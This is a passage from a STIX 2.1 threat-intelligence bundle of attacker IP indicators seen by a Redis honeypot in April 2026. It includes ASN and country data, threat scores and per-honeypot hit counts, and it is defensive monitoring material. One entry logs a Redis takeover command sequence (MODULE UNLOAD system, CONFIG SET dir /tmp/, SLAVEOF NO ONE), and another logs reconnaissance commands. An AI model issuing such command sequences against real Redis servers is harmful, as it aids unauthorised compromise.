        "scanning_host"
      ],
      "modified": "2026-04-29T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.248.227.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T10:25:10.000Z",
      "valid_until": "2026-05-31T10:25:09.000Z"
    },
    {
      "created": "2026-04-29T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--d404c181-a921-4c5f-bbd0-98e69fe81c37",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '115.190.12.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T11:25:10.000Z",
      "valid_until": "2026-05-31T11:25:09.000Z"
    },
    {
      "created": "2026-04-29T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--4473480d-8de2-4fe6-a4a0-9767c3cb4b84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.65.225.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T11:25:10.000Z",
      "valid_until": "2026-05-31T11:25:09.000Z"
    },
    {
      "created": "2026-04-29T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--df1d49b1-188e-42ef-9513-752710562a83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '167.99.15.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T11:25:10.000Z",
      "valid_until": "2026-05-31T11:25:09.000Z"
    },
    {
      "created": "2026-04-29T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=GB; asn=201002; asn_org=PebbleHost Ltd; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T11:25:10.000Z",
      "valid_until": "2026-05-31T11:25:09.000Z"
    },
    {
      "created": "2026-04-29T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--b75a991e-71a6-491d-9987-d4daac57671e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.53.157.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:25:11.000Z",
      "valid_until": "2026-05-31T12:25:10.000Z"
    },
    {
      "created": "2026-04-29T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=40; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; cats=Generic Protocol Command Decode; redis_cmds=MODULE UNLOAD system,config set dir .,CONFIG SET dir /tmp/,config set rdbcompression no,save; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--38170475-23cc-4adf-ab71-c0371ab5a199",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-29T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '39.108.228.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:25:11.000Z",
      "valid_until": "2026-05-31T12:25:10.000Z"
    },
    {
      "created": "2026-04-29T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--9908dcdd-2f01-4fd8-8d46-15db03100939",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.182.213.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:25:10.000Z",
      "valid_until": "2026-05-31T13:25:09.000Z"
    },
    {
      "created": "2026-04-29T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--c1730c0b-da93-4fc1-ac97-aa442d216ebd",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.33.105.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:25:10.000Z",
      "valid_until": "2026-05-31T13:25:09.000Z"
    },
    {
      "created": "2026-04-29T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:25:10.000Z",
      "valid_until": "2026-05-31T13:25:09.000Z"
    },
    {
      "created": "2026-04-29T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--f58a421c-1665-45b7-bc5e-ca130caa4f4e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:25:10.000Z",
      "valid_until": "2026-05-31T13:25:09.000Z"
    },
    {
      "created": "2026-04-29T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--3d18aa4d-5fea-4c8d-bbd1-36f2bba41521",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-29T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.140.131.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T14:25:10.000Z",
      "valid_until": "2026-05-31T14:25:09.000Z"
    },
    {
      "created": "2026-04-29T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--990b4f74-5dce-4a9c-b5f1-d93c13deecf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.14.112.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:25:10.000Z",
      "valid_until": "2026-05-31T15:25:09.000Z"
    },
    {
      "created": "2026-04-29T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=31; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmds=CONFIG GET bind; redis_cmd_hits=0; cmd=\"CLUSTER NODES\"",
      "id": "indicator--ba02cc10-be3c-4886-805f-4d27c165b165",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.76.82.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:25:10.000Z",
      "valid_until": "2026-05-31T15:25:09.000Z"
    },
    {
      "created": "2026-04-29T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=34; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--fdbc00f7-7c1b-46ce-bdc0-fc0ec5fcc9ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:25:10.000Z",
      "valid_until": "2026-05-31T23:25:09.000Z"
    },
    {
      "created": "2026-04-29T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--505dbc16-e405-4c01-a7a4-43616222b880",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:25:10.000Z",
      "valid_until": "2026-05-31T23:25:09.000Z"
    },
    {
      "created": "2026-04-29T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=28; ports=6379; cc=GB; asn=201002; asn_org=PebbleHost Ltd; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:25:10.000Z",
      "valid_until": "2026-05-31T23:25:09.000Z"
    },
    {
      "created": "2026-04-30T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--6a05dcdd-5375-4502-909e-0f5470f3a366",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-30T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T00:25:10.000Z",
      "valid_until": "2026-06-01T00:25:09.000Z"
    },
    {
      "created": "2026-04-30T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--7a86fc75-9915-4413-91b1-37a0f0471fcc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-30T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.217.208.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:25:10.000Z",
      "valid_until": "2026-06-01T01:25:09.000Z"
    },
    {
      "created": "2026-04-30T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--68b4317a-598e-4117-ba81-75a9e70f48c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.14.89.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T02:25:10.000Z",
      "valid_until": "2026-06-01T02:25:09.000Z"
    },
    {
      "created": "2026-04-30T04:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--dc1cfda4-cf40-4dfc-8c3b-107890605542",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-30T04:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '14.153.174.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:25:13.000Z",
      "valid_until": "2026-06-01T04:25:12.000Z"
    },
    {
      "created": "2026-04-30T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--d7a9fa4c-a302-4f1f-94c6-8ccb4d33a6b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:25:10.000Z",
      "valid_until": "2026-06-01T06:25:09.000Z"
    },
    {
      "created": "2026-04-30T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=DE; asn=215607; asn_org=dataforest GmbH; redis_cmd_hits=0",
      "id": "indicator--4f12b882-2d4d-4921-9657-25fd66bd2594",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:25:10.000Z",
      "valid_until": "2026-06-01T06:25:09.000Z"
    },
    {
      "created": "2026-04-30T08:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--1b016ba0-6940-48bb-a256-44fe17940df1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-30T08:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.179.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:25:14.000Z",
      "valid_until": "2026-06-01T08:25:13.000Z"
    },
    {
      "created": "2026-04-30T11:25:29.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=56048; asn_org=China Mobile Communicaitons Corporation; redis_cmd_hits=0",
      "id": "indicator--c05c20b5-df43-4233-804b-2ed6151a26a3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-30T11:25:29.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.72.120.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:25:29.000Z",
      "valid_until": "2026-06-01T11:25:08.000Z"
    },
    {
      "created": "2026-04-30T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--2ed3ed07-c19e-40eb-8e47-0ce2d82ad92f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:25:10.000Z",
      "valid_until": "2026-06-01T15:25:09.000Z"
    },
    {
      "created": "2026-04-30T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--9800cca9-be38-4854-a368-6f619b4c36a9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-30T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:25:10.000Z",
      "valid_until": "2026-06-01T15:25:09.000Z"
    },
    {
      "created": "2026-04-30T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--c873daae-7116-46cb-a8a6-29c92416c456",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-30T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '106.75.191.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:25:10.000Z",
      "valid_until": "2026-06-01T16:25:10.000Z"
    },
    {
      "created": "2026-04-30T18:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=19318; asn_org=Interserver, Inc; redis_cmd_hits=0",
      "id": "indicator--bb9c7736-155a-45ff-8b27-d8e95f01a0ad",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-30T18:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '163.245.218.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T18:25:09.000Z",
      "valid_until": "2026-06-01T18:25:08.000Z"
    },
    {
      "created": "2026-04-30T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--fd737788-346d-4b15-b716-552b695a1e62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.168.5.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:25:10.000Z",
      "valid_until": "2026-06-01T20:25:09.000Z"
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "enriched_at": "2026-04-30T23:50:06.336755+00:00",
    "sensor": "redishoneypot",
    "sensor_type": "redis_honeypot",
    "month": "2026-04",
    "ip_count": 633,
    "total_attacks": 17642,
    "total_sessions": 0,
    "attack_type_distribution": {
      "scanning": 17642
    }
  },
  "x_nadsec_ip_context": {
    "43.99.20.132": {
      "attack_count": 969,
      "first_seen": "2026-04-08T14:11:10.000Z",
      "last_seen": "2026-04-08T15:33:20.165Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-08T14:12:13.184000+00:00",
        "last_seen_30d": "2026-04-08T15:33:20.165000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 158
      }
    },
    "18.218.118.203": {
      "attack_count": 625,
      "first_seen": "2026-04-02T04:10:13.000Z",
      "last_seen": "2026-04-27T03:25:36.588Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12502,
        "days_active_30d": 30,
        "ports_targeted_30d": 176,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T03:03:56+00:00",
        "last_seen_30d": "2026-04-30T16:58:38.648000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8004,
        "Honeytrap": 3746,
        "Dionaea": 170,
        "Cowrie": 162,
        "Redishoneypot": 162,
        "ConPot": 154,
        "Mailoney": 63,
        "Ipphoney": 15,
        "Honeyaml": 10,
        "CitrixHoneypot": 6,
        "ElasticPot": 4,
        "H0neytr4p": 3,
        "Ciscoasa": 2,
        "Tanner": 1
      }
    },
    "18.116.101.220": {
      "attack_count": 174,
      "first_seen": "2026-04-19T03:36:49.000Z",
      "last_seen": "2026-04-20T05:20:55.953Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13121,
        "days_active_30d": 30,
        "ports_targeted_30d": 176,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T02:42:45.542000+00:00",
        "last_seen_30d": "2026-04-30T23:44:21.120000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8403,
        "Honeytrap": 3910,
        "Cowrie": 260,
        "Dionaea": 171,
        "Mailoney": 166,
        "ConPot": 109,
        "Redishoneypot": 44,
        "Ipphoney": 17,
        "Honeyaml": 16,
        "CitrixHoneypot": 6,
        "ElasticPot": 6,
        "Tanner": 6,
        "H0neytr4p": 5,
        "Ciscoasa": 2
      }
    },
    "3.131.220.121": {
      "attack_count": 100,
      "first_seen": "2026-04-04T04:05:01.000Z",
      "last_seen": "2026-04-04T04:21:44.447Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8020,
        "days_active_30d": 30,
        "ports_targeted_30d": 172,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T06:07:33+00:00",
        "last_seen_30d": "2026-04-30T17:46:40.262000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5212,
        "Honeytrap": 2380,
        "Dionaea": 121,
        "ConPot": 98,
        "Mailoney": 97,
        "Cowrie": 50,
        "Redishoneypot": 27,
        "Ipphoney": 11,
        "ElasticPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ciscoasa": 4,
        "CitrixHoneypot": 2,
        "Tanner": 2
      }
    },
    "114.113.235.163": {
      "attack_count": 84,
      "first_seen": "2026-04-01T21:00:50.000Z",
      "last_seen": "2026-04-28T05:52:49.483Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 45.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T21:00:50+00:00",
        "last_seen_30d": "2026-04-28T05:52:49.483000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Redishoneypot": 9
      }
    },
    "182.40.103.253": {
      "attack_count": 55,
      "first_seen": "2026-04-02T03:10:49.000Z",
      "last_seen": "2026-04-29T20:00:45.507Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136195,
      "as_org": "Qingdao, Shandong Province, P.R.China.",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T03:11:55.191000+00:00",
        "last_seen_30d": "2026-04-29T20:00:45.507000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11
      }
    },
    "103.230.144.104": {
      "attack_count": 53,
      "first_seen": "2026-04-18T14:41:07.000Z",
      "last_seen": "2026-04-18T14:46:21.576Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
